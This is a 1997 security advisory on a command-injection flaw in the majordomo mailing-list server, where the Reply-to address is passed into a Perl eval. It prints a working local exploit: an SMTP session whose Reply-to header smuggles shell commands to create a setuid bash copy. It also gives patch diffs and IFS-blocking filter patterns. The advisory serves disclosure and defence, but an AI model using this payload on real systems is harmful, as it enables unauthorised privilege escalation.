COMMAND

    majordomo

SYSTEMS AFFECTED

    Systems running majordomo

PROBLEM

    Razvan Dragomirescu hs discovered a vulnerablility in  "majordomo"
    that allows local  and remote users  to execute commands  with the
    rights of  the user  running the  server. This  user is usually in
    the daemon group, so this can be quite harmful.

    Still, there is  a condition for  the exploit to  work. The server
    should  have  at  least  one  list  that  uses  the "advertise" or
    "noadvertise"  directives  in   the  configuration  files.   These
    directives indicate if the list should (or should not) be included
    in  a  reply  to  a  "LISTS"  command depending on the address the
    request came from.  The exploit also  works if the  server has one
    or  more  "hidden"  lists  (see  the  Majordomo  documentation for
    details).  Here's a piece of the configuration file:

    -- lrazvan.config --

            # advertise            [regexp_array] (undef) <majordomo>
            # If the requestor email address matches one of these regexps, then
            # the list will be listed in the output of a lists command.  Failure
            # to match any regexp excludes the list from the output. The
            # regexps under noadvertise override these regexps.
    advertise           <<  END
    /.*/
    END
    -- end lrazvan.config --

    The one above tells majordomo to include this list in any  "LISTS"
    request.  The problem  is that when the  server finds a list  that
    has one  of these  attributes ("advertise"  or "noadvertise"),  it
    will try to match the reply-to address against these patterns.  It
    uses an "eval" command to do this.

    Let's take a look at the PERL source (the do_lists procedure):

    -- majordomo --
    foreach $i (@array) {
                          $command = "(q~$reply_addr~ =~ $i)";
                          $result = 1, last if (eval $command);
                       }

    -- end majordomo --

    $reply_addr is the result  of some paranoid validation.  It cannot
    contain <,>,[,],-,+,(,),; etc..  But with a few tricks, this won't
    be a problem.

    Now, for  the exploits.  There a  two of  them, one  for the local
    users who just want a setuid shell (with the rights of the  server
    owner, usually majordomo.daemon), and one for the remote users who
    might want to  copy some files  or execute commands  remotely (the
    old "mail foo@foo.net < /etc/passwd" won't work, it contains '<'.

    Local exploit:

    --exploit--
    telnet localhost 25

    helo localhost
    mail from: user
    rcpt to: majordomo (or whatever the name of the majordomo user is)
    data
    From: user
    To: majordomo
    Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro

    LISTS

SOLUTION

    Majordomo 1.94.4 should fix that.  This has the advertise eval and
    wrapper security patch, everything that was in the patch  archive,
    plus a few other snippets.  It is placed in the usual places:

        ftp://ftp.greatcircle.com/pub/majordomo/majordomo.tgz
        ftp://ftp-europe.sgi.com/other/majordomo/majordomo.tgz
        ftp://ftp.sgi.com/other/majordomo/majordomo.tgz

    Patches can  be found  in the  1.94.4 subdirectory.   Also,  below
    should fix described vulnerability:

    --- majordomo-pre-list-fix      Tue Aug 26 14:11:07 1997
    +++ majordomo   Tue Aug 26 15:06:52 1997
    @@ -1374,7 +1374,7 @@
                    if ($'config_opts{$list, 'advertise'} ne '') {
                       @array = split(/\001/,$'config_opts{$list,
    'advertise'});
                       foreach $i (@array) {
    -                     $command = "(q~$reply_addr~ =~ $i)";
    +                     $command = '($reply_addr'." =~ $i)";
                          $result = 1, last if (eval $command);
                       }
                     } else { $result = 1; }
    @@ -1384,7 +1384,7 @@
                       @array = split(/\001/,$'config_opts{$list,
    'noadvertise'});

                       foreach $i (@array) {
    -                     $command = "(q~$reply_addr~ =~ $i)";
    +                     $command = '($reply_addr'." =~ $i)";
                          $result = 0, last if (eval $command);
                        }
                    }

    Here's a  quicky to  slap a  condom on  this problem  until a more
    permanent cure is forth coming...  This is against 1.93.3 and  has
    been tested against a hostile message.

    ==================================================================
    --- majordomo.pl.old    Tue Aug 26 18:29:31 1997
    +++ majordomo.pl        Tue Aug 26 18:28:58 1997
    @@ -652,6 +652,10 @@
                 &main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr")
                         if ($_ !~ m#/a[dm]=#); #'
            }
    +       &main'abort("HOSTILE ADDRESS (IFS in x400) $addr")
    +            if ($_ =~ m#\$\{IFS#); #'
    +       &main'abort("HOSTILE ADDRESS (IFS in x400) $addr")
    +            if ($_ =~ m#\$IFS#); #'
        }

     print STDERR "$0: valid_addr: exit\n" if $DEBUG;
    ==================================================================